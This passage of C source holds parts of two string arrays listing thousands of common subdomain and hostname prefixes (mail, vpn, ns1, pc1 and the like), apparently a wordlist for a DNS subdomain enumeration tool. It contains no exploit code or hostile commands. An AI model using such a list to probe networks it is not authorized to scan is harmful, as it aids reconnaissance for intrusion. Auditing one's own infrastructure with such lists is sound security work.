"host51", "host52", "host53", "host54", "host55", "host56", "host57", "host58", "host59", "host6", "host60", "host61", "host62", "host63", "host64", "host65", "host66", "host67", "host68", "host69", "host7", "host70", "host71", "host72", "host73", "host74", "host75", "host76", "host77", "host78", "host79", "host8", "host80", "host81", "host82", "host83", "host84", "host85", "host86", "host87", "host88", "host89", "host9", "host90", "host91", "host92", "host93", "host94", "host95", "host96", "host97", "host98", "host99", "hosting", "hotel", "hotspot", "hp", "hq", "http", "hwmaint", "hydra", "hyperion", "i", "ice", "ict", "id", "idp", "ids", "if-0-0-0", "if-10-0-0", "ik", "im", "images", "imap", "imap4", "imaps", "img", "inferno", "info", "int", "intern", "internal", "internet", "intra", "intranet", "io", "ip", "ip00", "ip01", "ip02", "ip03", "ip04", "ip05", "ip06", "ip07", "ip1", "ip10", "ip11", "ip12", "ip13", "ip14", "ip15", "ip2", "ip3", "ip4", "ip5", "ip6", "ip6test", "ip7", "ip8", "iphone", "iptv", "ipv4", "ipv6", "ipv6-gw", "ipv6-router", "ipv6gw", "ipv6test", "irc", "irc6", "ircd", "iris", "irssi", "is", "isis", "it", "ix", "ix-2-2", "j", "jabber", "janus", "java", "jg", "jobs", "jupiter", "k", "kb", "kdc1", "kepler", "kerberos", "keyserver", "king", "kk", "kst-core-1", "l0", "l1", "lab", "labs", "lan", "laptop", "lc", "ldap", "ldap1", "ldap2", "learn", "leo", "lg", "lib", "library", "lim-core-1", "linux", "lisa", "list", "listes", "lists", "listserv", "live", "lo-1", "lo0", "lo0-0", "lo1", "local", "localhost", "log", "logger", "loghost", "login", "logs", "loki", "london", "loop0", "loopback0", "lotus", "lu", "lxxxix", "m", "m1", "mail", "mail01", "mail02", "mail03", "mail1", "mail10", "mail11", "mail12", "mail2", "mail3", "mail4", "mail5", "mail6", "mail7", "mail8", "mail9", "mailer", "mailgate", "mailgw", "mailhost", "mailin", "mailing", "mailout", "mailserver", "mailtest", "main", "manage", "management", "map", "maps", "mars", "marvin", "master", "max", "maxwell", "me", "media", "member", "members", "mercury", "merlin", "meta", "mickey", "mike", "miranda", "mirror", "mirrors", "ml", "mm", "mobile", "mon", "monitor", "monitoring", "moodle", "moon", "mordor", "moria", "mout", "mp3", "mr", "mrtg", "ms", "ms1", "mta", "mta1", "mta2", "munin", "music", "mx", "mx0", "mx01", "mx02", "mx03", "mx1", "mx10", "mx11", "mx12", "mx13", "mx14", "mx15", "mx16", "mx17", "mx18", "mx19", "mx2", "mx20", "mx21", "mx22", "mx23", "mx24", "mx25", "mx26", "mx27", "mx28", "mx29", "mx3", "mx30", "mx31", "mx32", "mx33", "mx34", "mx35", "mx36", "mx4", "mx5", "mx6", "mx7", "mx8", "mx9", "my", "mysql", "mysql1", "n", "na", "nagios", "name", "nat", "neon", "neptun", "neptune", "net", "netlab", "network", "new", "news", "newsfeed", "newsletter", "newton", "nfs", "nic", "nm", "nms", "nntp", "no", "noc", "ns", "ns-ext", "ns0", "ns01", "ns02", "ns03", "ns1", "ns10", "ns11", "ns2", "ns3", "ns4", "ns5", "ns6", "ns7", "nsa", "nsauth1", "nscache", "nscache1", "nss", "nsv6", "ntp", "ntp0", "ntp1", "ntp2", "null", "o1", "oa", "oberon", "office", "old", "omega", "online", "open", "openbsd", "openvpn", "ops", "oracle", "orange", "orion", "oscar", "outbound", "outlook", "owa", "ox", "p", "packages", "page", "pan", "panda", "panoramix", "papa", "partner", "pbx", "pc", "pc1", "pc10", "pc11", "pc12", "pc13", "pc14", "pc15", "pc16", "pc17", "pc18", "pc19", "pc2", "pc20", "pc21", "pc22", "pc23", "pc24", "pc25", "pc26", "pc27", "pc28", "pc29", "pc3", "pc30", "pc31", "pc32", "pc33", "pc34", "pc35", "pc36", "pc37", "pc38", "pc39", "pc4", "pc40", "pc41", "pc42", "pc43", "pc44", "pc45", "pc46", "pc47", "pc5", "pc6", "pc7", "pc8", "pc9", "pe", "peach", "pegasus", "people", "pgp", "phi", "phobos", "phoenix", "phone", "photo", "photos", "php", "pics", "pictures", "pipex-gw", "pki", "pluto", "pm", "po-1", "po-2", "poczta", "pop", "pop3", "pop3s", "portal", "pos1-0", "post", "posta", "pptp", "printer", "project", "projects", "prometheus", "proxy", "proxy1", "proxy2", "ps", "pub", "public", "puck", "q", "qa", "r", "r00", "r01", "r02", "r1", "r2", "ra", "radio", "radius", "radius1", "radius2", "rc", "red", "redhat", "register", "relay", "relay1", "relay2", "remote", "reports", "res1", "research", "resolv1", "resolver", "resolver1", "resolver2", "ripe", "rm", "robert", "root", "rose", "router", "rp", "rss", "rsync", "rt", "rt2", "rtr", "rwhois", "s", "s0", "s1", "s2", "s3", "s4", "s5", "sa", "sales", "sam", "sandbox", "sap", "sara", "saturn", "sbs", "sc", "scanner", "scotty", "se", "search", "secure", "security", "serial", "server", "server01", "server1", "server2", "server3", "server4", "server5", "service", "services", "sf", "sftp", "sh", "sharepoint", "shell", "shop", "sigma", "silver", "sip", "sirius", "six", "sixxs", "sixxs-gw", "skynet", "sl", "slackware", "smokeping", "sms", "smtp", "smtp-out", "smtp01", "smtp1", "smtp2", "smtp3", "smtp4", "smtp5", "snail", "snoopy", "so-0-1-0", "so-2-0-0", "software", "sol", "solaris", "sp", "spam", "spider", "spock", "sql", "squid", "squirrel", "src", "srv", "srv01", "srv02", "srv1", "srv2", "ssh", "ssl", "ssl-vpn", "sslvpn", "staff", "stage", "staging", "start", "stat", "static", "statistics", "stats", "stock", "storage", "store", "stream", "streaming", "submission", "subversion", "sun", "support", "sv", "svn", "sw-core1", "sw1", "switch", "syslog", "system", "szerver1", "szerver2", "szerver3", "szerver4", "szerver5", "t", "tango", "tao", "tarsier", "tau", "tb", "tc1", "te-1-2", "te-1-3", "te-2-1", "te-2-2", "tech", "telnet", "temp", "teredo", "test", "test1", "test2", "test6", "test6www", "testip6", "testipv6", "tftp", "the", "thor", "ticket", "tiger", "time", "titan", "titania", "tm", "tom", "tools", "tp", "tracker", "traffic", "training", "trinity", "ts", "ts1", "tt", "tunnel", "turing", "turtle", "tv", "u", "ubuntu", "uk", "unix", "up", "update", "updates", "upload", "ur01", "ur02", "ur04", "uranus", "us", "usenet", "user", "users", "uucp", "v", "v1", "v2", "v6", "v6gw", "v6www", "vab-core-1", "vab2-core-1", "vc", "ve", "ve1", "vega", "venus", "video", "video6", "virtual", "vista", "vl100", "vlad", "vlan2", "vm", "vm0", "vm1", "vm2", "voip", "vox", "voyager", "vpn", "vpn1", "vpn2", "vps", "vps1", "w", "w1", "w3", "wap", "wbm0", "wbm1", "web", "web01", "web02", "web03", "web1", "web2", "web3", "web4", "webcam", "webcast", "webdev", "weblog", "webmail", "webserver", "webservice", "webservices", "websites", "webstats", "whois", "wiki", "win", "windows", "wins", "wireless", "wlan", "wm", "wp", "wpad", "ws", "ws1", "ws2", "www", "www-1", "www-2", "www-3", "www-6", "www-ipv6", "www-v6", "www1", "www2", "www3", "www4", "www5", "www6", "www6test", "www7", "wwwipv6", "wwwtest6", "wwwv6", "x", "xcii", "y", "yankee", "z", "zebra", "zeus", "zimbra", "zs", "zulu", ""}; char *sub_large[] = {"0", "03", "1", "10", "11", "12", "13", "14", "15", "16", "17", "18", "19", "1a", "1b", "1c", "1cust1", "1cust10", "1cust11", "1cust12", "1cust13", "1cust14", "1cust15", "1cust16", "1cust17", "1cust18", "1cust19", "1cust2", "1cust20", "1cust21", "1cust22", "1cust23", "1cust24", "1cust25", "1cust26", "1cust27", "1cust28", "1cust29", "1cust3", "1cust30", "1cust31", "1cust32", "1cust33", "1cust34", "1cust35", "1cust36", "1cust37", "1cust38", "1cust39", "1cust4", "1cust40", "1cust41", "1cust42", "1cust43", "1cust44", "1cust45", "1cust46", "1cust47", "1cust48", "1cust49", "1cust5", "1cust50", "1cust51", "1cust52", "1cust53", "1cust54", "1cust55", "1cust56", "1cust57", "1cust58", "1cust59", "1cust6", "1cust60", "1cust61", "1cust62", "1cust63", "1cust64", "1cust65", "1cust66", "1cust67", "1cust68", "1cust69", "1cust7", "1cust70", "1cust71", "1cust72", "1cust73", "1cust74", "1cust75", "1cust76", "1cust77", "1cust78", "1cust79", "1cust8", "1cust80", "1cust81", "1cust82", "1cust83", "1cust84", "1cust85", "1cust86", "1cust87", "1cust88", "1cust89", "1cust9", "1cust90", "1cust91", "1cust92", "1cust93", "1cust94", "1cust95", "1cust96", "1cust97", "1cust98", "1cust99", "1d", "1e", "1f", "2", "20", "21", "22", "23", "24", "25", "26", "27", "28", "29", "2a", "2b", "2c", "2cust1", "2cust10", "2cust11", "2cust12", "2cust13", "2cust14", "2cust15", "2cust16", "2cust17", "2cust18", "2cust19", "2cust2", "2cust20", "2cust21", "2cust22", "2cust23", "2cust24", "2cust25", "2cust26", "2cust27", "2cust28", "2cust29", "2cust3", "2cust30", "2cust31", "2cust32", "2cust33", "2cust34", "2cust35", "2cust36", "2cust37", "2cust38", "2cust39", "2cust4", "2cust40", "2cust41", "2cust42", "2cust43", "2cust44", "2cust45", "2cust46", "2cust47", "2cust48", "2cust49", "2cust5", "2cust50", "2cust51", "2cust52", "2cust53", "2cust54", "2cust55", "2cust56", "2cust57", "2cust58", "2cust59", "2cust6", "2cust60", "2cust61", "2cust62", "2cust7", "2cust8", "2cust9", "2d", "2e", "2f", "3", "30", "31", "31337", "32", "33", "34", "35", "36", "37", "38", "39", "3a", "3b", "3c", "3d", "3e", "3f", "4", "40", "41", "42", "43", "44", "45", "46", "47", "48", "49", "4a", "4b", "4c", "4d", "4e", "4f", "5", "50", "51", "52", "53", "54", "55", "56", "57", "58", "59", "5a", "5b", "5c", "5d", "5e", "5f", "6", "60", "61", "62", "63", "64", "65", "66", "67", "68", "69", "6a", "6b", "6c", "6d", "6e", "6f", "6net", "6test", "6to4", "7", "70", "71", "72", "73", "74", "75", "76", "77", "78", "79", "7a", "7b", "7c", "7d", "7e", "7f", "8", "80", "81", "82", "83", "84", "85", "86", "87", "88", "89", "8a", "8b", "8c", "8d", "8e", "8f", "9", "90", "91", "92", "93", "94", "95", "96", "97", "98", "99", "9a", "9b", "9c", "9d", "9e", "9f", "a", "a0", "a01", "a02", "a1", "a2", "a20", "a21", "a3", "a4", "a5", "a6", "a7", "a8", "a9", "aa", "aaa", "aaaa", "ab", "abc", "ac", "access", "accounting", "accounts", "achilles", "acid", "ad", "adam", "admin", "adns1", "ads", "adsl", "ae", "ae-0", "ae-1", "ae-2", "af", "aftr", "ag", "agenda", "agent", "aix", "ajax", "ak", "al", "alaska", "albuquerque", "alice", "allen", "alpha", "amanda", "ams-core-1", "andromeda", "announce", "anonsvn", "antares", "antispam", "antivirus", "ao", "ap", "apache", "apache2-adamant", "apache2-argon", "apache2-blow", "apache2-bongo", "apache2-cabo", "apache2-cid", "apache2-dap", "apache2-emu", "apache2-fritz", "apache2-grog", "apache2-heavy", "apache2-igloo", "apache2-jolly", "apache2-kant", "apache2-linus", "apache2-moon", "apache2-noxim", "apache2-ogle", "apache2-pat", "apache2-quack", "apache2-rank", "apache2-sith", "apache2-twiddle", "apache2-udder", "apache2-vat", "apache2-whippit", "apache2-xenon", "apache2-yak", "apache2-zoo", "api", "apollo", "app", "app1", "app2", "apple", "apply", "apps", "aq", "ar01", "ar02", "ar2", "arachne", "arcnet6", "ares", "argos", "ari", "ariel", "arizona", "artemis", "as", "as0", "as1", "as2", "asterisk", "asterix", "at", "athena", "atlanta", "atlantis", "atlas", "atom", "atw", "au", "aurora", "auth", "auth0", "auth00", "auth01", "auth02", "auth03", "auth2", "auto", "autodiscover", "av", "avalon", "avmail", "aw", "az", "b", "b0", "b02", "b1", "b10", "b2", "b3", "b4", "b5", "b6", "b7", "b8", "b9", "ba", "backbone", "backup", "backups", "baker", "banana", "barracuda", "bart", "bb", "bb1", "bbs", "bbs6", "bc", "bcast", "bd", "be", "bender", "beta", "bf", "bg", "bgp", "bi", "biblioteca", "biff", "billing", "bip1-gw", "biz", "bl", "black", "blackberry", "blackboard", "blacksun", "blade", "blog", "blog6", "blogs", "blue", "bm0", "bm1", "bm2", "bm3", "bnc", "bo", "bob", "border", "boston", "bot", "box", "bp", "br", "br2", "brain", "bravo", "bridge", "broadcast", "bsd", "bt", "bt6", "bug", "bugs", "bugzilla", "build", "bw", "by", "c", "c0", "c1", "c2", "c3", "c4", "c5", "c6", "c7", "c8", "c9", "ca", "cache", "cacti", "cafe", "calendar", "call", "callisto", "calypso", "cam", "canal", "careers", "cas", "casper", "castor", "cat", "catalog", "cb", "cc", "ccxvii", "cd", "ce", "ce1", "centos", "cert", "certificates", "cf", "cfengine", "cg", "cgi", "ch", "charlie", "charlotte", "charon", "chat", "chi", "chicago", "chimera", "chris", "chronos", "ci", "ci53", "ci96", "cisco", "cisco1", "cisco2", "citrix", "class", "cleveland", "client", "clients", "cloud", "club", "cluster", "clyde", "cm", "cm0", "cm1", "cm10", "cm11", "cm12", "cm13", "cm14", "cm15", "cm16", "cm17", "cm18", "cm19", "cm2", "cm20", "cm21", "cm22", "cm24", "cm25", "cm26", "cm27", "cm28", "cm29", "cm3", "cm31", "cm32", "cm33", "cm34", "cm35", "cm36", "cm37", "cm38", "cm39", "cm4", "cm41", "cm43", "cm44", "cm45", "cm47", "cm48", "cm49", "cm5", "cm50", "cm52", "cm53", "cm54", "cm56", "cm57", "cm58", "cm6", "cm60", "cm61", "cm62", "cm64", "cm67", "cm68", "cm69", "cm7", "cm74", "cm75", "cm76", "cm77", "cm78", "cm8", "cm80", "cm81", "cm82", "cm83", "cm85", "cm86", "cm87", "cm88", "cm90", "cm92", "cm94", "cm95", "cm96", "cm97", "cm98", "cm99", "cms", "cn", "co", "cocoa", "code", "colo0-gw", "colorado", "com", "community", "compaq", "conf", "conference", "connect", "console", "constellation", "contact", "content", "cook", "core", "core1", "core2", "corona", "corp", "corpmail", "correo", "cp", "cpe", "cq", "cr0", "cr1", "cr2", "cr3", "cricket", "crm", "cs", "csg", "cust", "customer", "cv", "cvs", "cw", "cz", "d", "d0", "d1", "d1-0", "d10", "d11", "d12", "d13", "d14", "d15", "d16", "d17", "d18", "d19", "d2", "d20", "d21", "d22", "d23", "d24", "d25", "d26", "d27", "d28", "d29", "d3", "d30", "d31", "d32", "d33", "d34", "d35", "d36", "d37", "d38", "d39", "d4", "d40", "d41", "d42", "d43", "d44", "d45", "d46", "d47", "d48", "d49", "d5", "d50", "d51", "d52", "d53", "d54", "d55", "d56", "d57", "d58", "d59", "d6", "d60", "d61", "d62", "d63", "d64", "d65", "d66", "d67", "d68", "d69", "d7", "d70", "d71", "d72", "d73", "d74", "d75", "d76", "d77", "d78", "d79", "d8", "d80", "d81", "d82", "d83", "d84", "d85", "d86", "d87", "d88", "d89", "d9", "d90", "d91", "d92", "d93", "d94", "d95", "d96", "d97", "d98", "d99", "da", "data", "database", "db", "db0", "db01", "db1", "db2", "dc", "dc1", "dd", "dds", "de", "de-cix", "debian", "decix", "default", "defiant", "dell", "delta", "demo", "demon", "demon-gw", "depot", "des", "design", "desktop", "dev", "dev01", "dev1", "dev2", "deve", "devel", "develop", "developers", "development", "df", "dh", "dhcp", "dhcp-pool", "dhcp1", "dhcp2", "dial", "diana", "dict", "digital", "dino", "dione", "dirac", "directory", "disc", "disco", "discovery", "disk", "dist", "dk", "dl", "dmz", "dn", "dns", "dns-2", "dns0", "dns00", "dns01", "dns02", "dns03", "dns1", "dns2", "dns3", "dns4", "dns6", "dnscache1", "dnscache2", "do", "doc", "docs", "domain", "domains", "domino", "doom", "download", "downloads", "dr", "drac", "dragon", "drupal", "ds", "dsl", "dt", "dx", "dy", "dyn", "dynamic", "e", "e0", "e1", "e2", "e3", "e4", "e5", "e6", "e7", "e8", "e9", "ea", "eagle", "earth", "eb", "ec", "echo", "ed", "edge", "edu", "ee", "ef", "efnet", "eh", "em", "email", "en", "enable", "enc", "eng", "engineering", "enigma", "enterprise", "enum", "eo", "ep", "epp", "eprints", "er", "erp", "es", "et", "eta", "eth0", "eth1", "eth2", "eu", "eunet-gw", "eunomia", "europa", "eve", "events", "ex", "exch", "exchange", "exeter", "extern", "extranet", "f", "f0", "f1", "f2", "f3", "f4", "f5", "f6", "f7", "f8", "f9", "fa", "fa-0-0", "fa0-0", "falcon", "fax", "fb", "fc", "fd", "fe", "fe0-0", "fe2-0", "feeds", "ff", "fg", "fi", "fiberlink", "fido", "files", "fileserver", "filter", "finance", "finger", "fire", "firewall", "fl", "flash", "flow", "fm", "forum", "forums", "foto", "fotos", "fox", "foxtrot", "fp", "fr", "france", "frank", "fred", "free", "freebsd", "freemail", "front", "fry", "fs", "fs1", "ftp", "ftp0", "ftp1", "ftp2", "ftp3", "ftp6", "fun", "fw", "fw01", "fw1", "fw1-gw", "fw2", "fx", "g", "gaia", "galatea", "galeria", "galerie", "gallery", "gamma", "gandalf", "gate", "gate1", "gatekeeper", "gateway", "gauss", "gc", "ge-0", "ge-0-0-0-0", "ge0-1", "ge0-2", "geb", "gemini", "gentoo", "germany", "gh", "gi0-1", "gigabitethernet0", "gigabitethernet1", "gis", "git", "gk", "gm", "go", "gold", "golf", "gopher", "gp", "gps", "gr", "green", "group", "groups", "gs", "gt", "guest", "guide", "gw", "gw-ipv6", "gw01", "gw1", "gw2", "gw3", "gw6", "gx", "gz", "h", "h1", "h2", "h3", "h4", "ha", "hades", "hal", "hammer", "hc", "hd", "he", "helene", "helios", "helium", "hello", "help", "helpdesk", "hera", "hercules", "hermes", "hg", "hh", "hi", "hidden", "hk", "hm", "hobbes", "hobby-gw", "home", "homepage", "homer", "honeypot", "host", "host-2", "host-3", "host-4", "host-5", "host-6", "host0", "host01", "host02", "host1", "host10", "host11", "host12", "host13", "host14", "host15", "host16", "host17", "host18", "host19", "host2", "host20", "host21", "host22", "host23", "host24", "host25", "host26", "host27", "host28", "host29", "host3", "host30", "host31", "host32", "host33", "host34", "host35", "host36", "host37", "host38", "host39", "host4", "host40", "host41", "host42", "host43", "host44", "host45", "host46", "host47", "host48", "host49", "host5", "host50", "host51", "host52", "host53", "host54", "host55", "host56", "host57", "host58", "host59", "host6", "host60", "host61", "host62", "host63", "host64", "host65", "host66", "host67", "host68", "host69", "host7", "host70", "host71", "host72", "host73", "host74", "host75", "host76", "host77", "host78", "host79", "host8", "host80", "host81", "host82", "host83", "host84", "host85", "host86", "host87", "host88", "host89", "host9", "host90", "host91", "host92", "host93", "host94", "host95", "host96", "host97", "host98", "host99", "hosting", "hotel", "hotspot", "houston", "hp", "hq", "hs", "http", "https", "hu", "hub", "hwmaint", "hydra", "hyperion", "i", "iax", "ibm", "ic", "ice", "icecube", "icons", "ict", "id", "idp", "ids", "ie", "if", "if-0-0-0", "if-10-0-0", "if-2-0-0", "ik", "illusion", "im", "images", "imap", "imap4", "imaps", "img", "in", "inc", "inet", "inferno", "info", "ins2", "inside", "install", "int", "intern", "internal", "international", "internet", "internet2", "intra", "intranet", "invalid", "investor", "io", "ip", "ip00", "ip01", "ip02", "ip03", "ip04", "ip05", "ip06", "ip07", "ip1", "ip10", "ip11", "ip12", "ip13", "ip14", "ip15", "ip16", "ip17", "ip18", "ip19", "ip2", "ip20", "ip21", "ip22", "ip23", "ip24", "ip25", "ip26", "ip27", "ip28", "ip29", "ip3", "ip30", "ip31", "ip32", "ip33", "ip34", "ip35", "ip36", "ip37", "ip38", "ip39", "ip4", "ip40", "ip41", "ip42", "ip43", "ip44", "ip45", "ip46", "ip47", "ip48", "ip49", "ip5", "ip50", "ip51", "ip52", "ip53", "ip54", "ip55", "ip56", "ip57", "ip58", "ip59", "ip6", "ip60", "ip61", "ip62", "ip65", "ip66", "ip67", "ip68", "ip69", "ip6test", "ip7", "ip70", "ip71", "ip72", "ip73", "ip74", "ip75", "ip76", "ip77", "ip78", "ip79", "ip8", "ip80", "ip81", "ip82", "ip83", "ip84", "ip85", "ip86", "ip87", "ip88", "ip89", "ip9", "ip90", "ip91", "ip92", "ip93", "ip94", "ip95", "ip96", "ip97", "ip98", "ip99", "iphone", "ipmi", "ipsec", "iptv", "ipv4", "ipv6", "ipv6-gw", "ipv6-router", "ipv6cam", "ipv6forum", "ipv6gw", "ipv6test", "ipx", "irc", "irc6", "ircd", "ireland", "iris", "irssi", "is", "isaiah", "isis", "issues", "it", "itchy", "ix", "ix-2-2", "j", "jabber", "janus", "java", "jg", "jo", "jobs", "jp", "juliet", "jupiter", "jw", "k", "ka", "kb", "kdc1", "kepler", "kerberos", "kernel", "keyserver", "kf", "king", "kk", "kl", "km", "ks", "kst-core-1", "kvm", "kz", "l0", "l1", "la", "lab", "labs", "laforge", "lambda", "lan", "lan-gate", "laptop", "lb1", "lc", "ldap", "ldap1", "ldap2", "learn", "legacy", "lenny", "leo", "lg", "li", "lib", "library", "lim-core-1", "lima", "link", "linux", "lisa", "list", "listes", "lists", "listserv", "listserver", "live", "lj", "lm", "lo", "lo-0", "lo-1", "lo0", "lo0-0", "lo1", "local", "localhost", "log", "logger", "logging", "loghost", "login", "logs", "loki", "london", "loop0", "loopback0", "lorien", "lotus", "ls", "lt", "lu", "luke", "luna", "lxxxix", "m", "m-net", "m1", "m2", "ma", "mac", "mail", "mail0", "mail01", "mail02", "mail03", "mail1", "mail10", "mail11", "mail12", "mail13", "mail14", "mail15", "mail16", "mail2", "mail20", "mail3", "mail4", "mail5", "mail6", "mail7", "mail8", "mail9", "mailbox", "mailer", "mailgate", "mailgw", "mailgw3", "mailhost", "mailin", "mailing", "mailman", "mailout", "mailrelay", "mailserver", "mailsrv", "mailtest", "main", "manage", "management", "map", "maps", "marketing", "mars", "marvin", "mary", "master", "matrix", "max", "maxwell", "mb", "mc", "md", "me", "media", "member", "members", "mercury", "merlin", "messenger", "meta", "mi", "mickey", "mike", "minerva", "miranda", "mirror", "mirrors", "mj", "mk", "ml", "mm", "mobile", "mon", "mon1", "mon2", "monitor", "monitor01", "monitoring", "moodle", "moon", "mordor", "moria", "moscow", "mout", "movies", "mp", "mp3", "mpeg", "mr", "mrtg", "ms", "ms1", "mta", "mta1", "mta2", "mta3", "mta4", "mu", "multimedia", "munin", "music", "mv", "mx", "mx0", "mx01", "mx02", "mx03", "mx1", "mx10", "mx11", "mx12", "mx13", "mx14", "mx15", "mx16", "mx17", "mx18", "mx19", "mx2", "mx20", "mx21", "mx22", "mx23", "mx24", "mx25", "mx26", "mx27", "mx28", "mx29", "mx3", "mx30", "mx31", "mx32", "mx33", "mx34", "mx35", "mx36", "mx37", "mx38", "mx39", "mx4", "mx40", "mx41", "mx42", "mx43", "mx44", "mx45", "mx46", "mx47", "mx48", "mx49", "mx5", "mx50", "mx51", "mx52", "mx53", "mx54", "mx55", "mx56", "mx57", "mx58", "mx59", "mx6", "mx60", "mx61", "mx62", "mx63", "mx64", "mx65", "mx66", "mx67", "mx68", "mx69", "mx7", "mx70", "mx71", "mx72", "mx73", "mx74", "mx75", "mx76", "mx77", "mx78", "mx79", "mx8", "mx80", "mx81", "mx82", "mx83", "mx84", "mx85", "mx86", "mx87", "mx88", "mx89", "mx9", "mx90", "mx91", "mx92", "mx93", "mx94", "mx95", "mx96", "mx97", "mx98", "mx99", "my", "mysql", "mysql1", "mz", "n", "na", "nagios", "name", "nameserver", "nas", "nat", "nb", "nc", "nd", "nds", "ne", "neo", "neon", "neptun", "neptune", "nessus", "net", "netapp", "netlab", "netstat", "network", "nevada", "new", "news", "newsfeed", "newsfeeds", "newsletter", "newton", "newyork", "nfs", "ni", "nic", "nl", "nm", "nms", "nn", "nntp", "no", "noc", "node", "node1", "node2", "nokia", "notes", "november", "ns", "ns-ext", "ns0", "ns01", "ns02", "ns03", "ns1", "ns10", "ns11", "ns15", "ns2", "ns3", "ns4", "ns5", "ns6", "ns7", "nsa", "nsauth1", "nscache", "nscache1", "nscache2", "nss", "nsv6", "ntp", "ntp0", "ntp1", "ntp2", "ntp3", "null", "nx", "o1", "oa", "ob", "oberon", "oc", "oc48-pos9-0", "odin", "of", "office", "oh", "ojp-apply", "old", "oleane-gw", "omega", "one", "online", "op", "open", "openbsd", "openvpn", "operations", "ops", "oracle", "orange", "order", "orion", "os", "oscar", "out", "outbound", "outlook", "owa", "ox", "oz", "p", "p1", "p2", "pa", "packages", "page", "pages", "pan", "panda", "pandora", "panoramix", "papa", "paris", "partner", "partners", "pat", "pbx", "pc", "pc01", "pc02", "pc03", "pc04", "pc1", "pc10", "pc11", "pc12", "pc13", "pc14", "pc15", "pc16", "pc17", "pc18", "pc19", "pc2", "pc20", "pc21", "pc22", "pc23", "pc24", "pc25", "pc26", "pc27", "pc28", "pc29", "pc3", "pc30", "pc31", "pc32", "pc33", "pc34", "pc35", "pc36", "pc37", "pc38", "pc39", "pc4", "pc40", "pc41", "pc42", "pc43", "pc44", "pc45", "pc46", "pc47", "pc48", "pc49", "pc5", "pc50", "pc51", "pc52", "pc53", "pc54", "pc55", "pc56", "pc57", "pc58", "pc59", "pc6", "pc60", "pc61", "pc62", "pc63", "pc64", "pc65", "pc66", "pc67", "pc68", "pc69", "pc7", "pc70", "pc71", "pc72", "pc73", "pc74", "pc75", "pc76", "pc77", "pc78", "pc79", "pc8", "pc80", "pc81", "pc82", "pc83", "pc84", "pc85", "pc86", "pc87", "pc88", "pc89", "pc9", "pc90", "pc91", "pc92", "pc93", "pc94", "pc95", "pc96", "pc97", "pc98", "pc99", "pd", "pda", "pdc", "pe", "peach", "pegasus", "people", "pf", "pgp", "phi", "phobos", "phoenix", "phone", "photo", "photos", "php", "pi", "picard", "pics", "pictures", "pipex-gw", "pironet", "pix", "pk", "pki", "pl", "pluto", "pm", "pm1", "po", "po-1", "po-2", "po1", "poczta", "pop", "pop2", "pop3", "pop3s", "portal", "pos1-0", "poseidon", "posix", "post", "posta", "powertech-gw", "ppp2", "pptp", "pq", "prensa", "preprod", "press", "print", "printer", "printserver", "priv", "privat", "prod", "project", "projects", "prometheus", "proton", "proxy", "proxy1", "proxy2", "ps", "pt", "pub", "public", "puck", "q", "qa", "qp", "quake", "quark", "quebec", "queen", "r", "r00", "r01", "r02", "r1", "r2", "ra", "radio", "radius", "radius1", "radius2", "raptor", "rc", "rcs", "rd", "read", "red", "redhat", "redirect2", "reg", "register", "relay", "relay01", "relay02", "relay1", "relay2", "releases", "remote", "reports", "res", "res1", "res2", "research", "reseller", "reserved", "resolv1", "resolver", "resolver1", "resolver2", "reverse", "ripe", "ris", "rm", "rn", "rns2", "ro", "robert", "romeo", "root", "rose", "router", "router1", "router2", "rp", "rr", "rss", "rsync", "rt", "rt2", "rtr", "ru", "rv", "rwhois", "rz", "s", "s0", "s01", "s1", "s10", "s11", "s2", "s3", "s4", "s5", "s6", "s7", "s8", "s9", "sa", "sales", "sam", "sandbox", "sap", "sara", "saturn", "sb", "sbs", "sc", "scanner", "scotty", "se", "search", "search6", "sec", "sec1", "secure", "securemail", "security", "serial", "server", "server01", "server1", "server2", "server3", "server4", "server5", "server6", "servers", "service", "services", "services1", "servidor", "sf", "sftp", "sg", "sh", "share", "sharepoint", "shell", "shell1", "shop", "sigma", "silc", "silver", "sip", "sirius", "site", "six", "sixxs", "sixxs-gw", "sj", "sk", "skynet", "sl", "slackware", "sm", "smc", "smokeping", "sms", "smtp", "smtp-out", "smtp01", "smtp02", "smtp1", "smtp10", "smtp2", "smtp3", "smtp4", "smtp5", "smtp6", "smtp7", "smtp8", "snail", "snmp-trap", "snoopy", "so-0-0-0", "so-0-0-1", "so-0-1-0", "so-2-0-0", "software", "sol", "solaris", "solutions", "source", "sp", "spain", "spam", "spider", "spiderman", "spl", "splunk", "spock", "sprint", "sql", "sql1", "squid", "squirrel", "sr", "src", "srv", "srv01", "srv02", "srv1", "srv2", "srv3", "ssc", "ssh", "ssl", "ssl-vpn", "sslvpn", "staff", "stage", "staging", "star", "start", "stat", "static", "statistics", "stats", "stock", "storage", "store", "stream", "streaming", "student", "studio", "su", "sub", "submission", "submit", "subversion", "sun", "sun01", "sun02", "sun1", "superman", "support", "survey", "sv", "sv1", "svn", "svr01", "svr02", "sw", "sw-core1", "sw0", "sw01", "sw1", "sw2", "switch", "switch1", "sydney", "sysadmin", "syslog", "system", "sz", "szerver1", "szerver2", "szerver3", "szerver4", "szerver5", "t", "t1", "ta", "talk", "tango", "tao", "tarsier", "tau", "tb", "tc", "tc1", "te-1-2", "te-1-3", "te-2-1", "te-2-2", "te-3-1", "team", "tech", "techsupport", "telephone", "telnet", "temp", "teredo", "teredo-gw", "teredo-relay", "terminal", "terror", "test", "test1", "test2", "test6", "test6www", "testbed", "testing", "testip6", "testipv6", "testsite", "tftp", "the", "theta", "thor", "ticket", "tiger", "time", "titan", "titania", "tj", "tk", "tm", "to", "toad", "tom", "tomocha", "tool", "tools", "tour", "tp", "tr", "tracker", "traffic", "training", "trinity", "triton", "ts", "ts1", "tsv01", "tt", "tu0", "tunnel", "tunnel2", "tunnelbroker", "turing", "turtle", "tv", "tw", "tx", "u", "uat", "ubuntu", "ui", "uk", "undernet-gw", "uni", "uniform", "union", "unix", "unknown", "up", "update", "updates", "upload", "upsilon", "ur", "ur01", "ur02", "ur03", "ur04", "uranus", "us", "usa", "usenet", "user", "users", "ut", "uu", "uucp", "uw", "uz", "v", "v1", "v2", "v6", "v6gw", "v6www", "vaak", "vab-core-1", "vab2-core-1", "vault", "vc", "vds", "ve", "ve1", "ve8", "vega", "venus", "victor", "video", "video6", "videos", "viking", "violet", "vip", "virtual", "vista", "vk", "vl-6", "vl10", "vl100", "vl102", "vlad", "vlan-100", "vlan1", "vlan100", "vlan2", "vm", "vm0", "vm1", "vm2", "vm3", "vmm", "vnc", "vo", "voice", "voip", "vox", "voyager", "vpn", "vpn1", "vpn2", "vps", "vps1", "vps2", "vr", "vs", "vt", "vw", "vz", "w", "w-04", "w1", "w2", "w3", "wallet", "wan", "wap", "warlord", "washington", 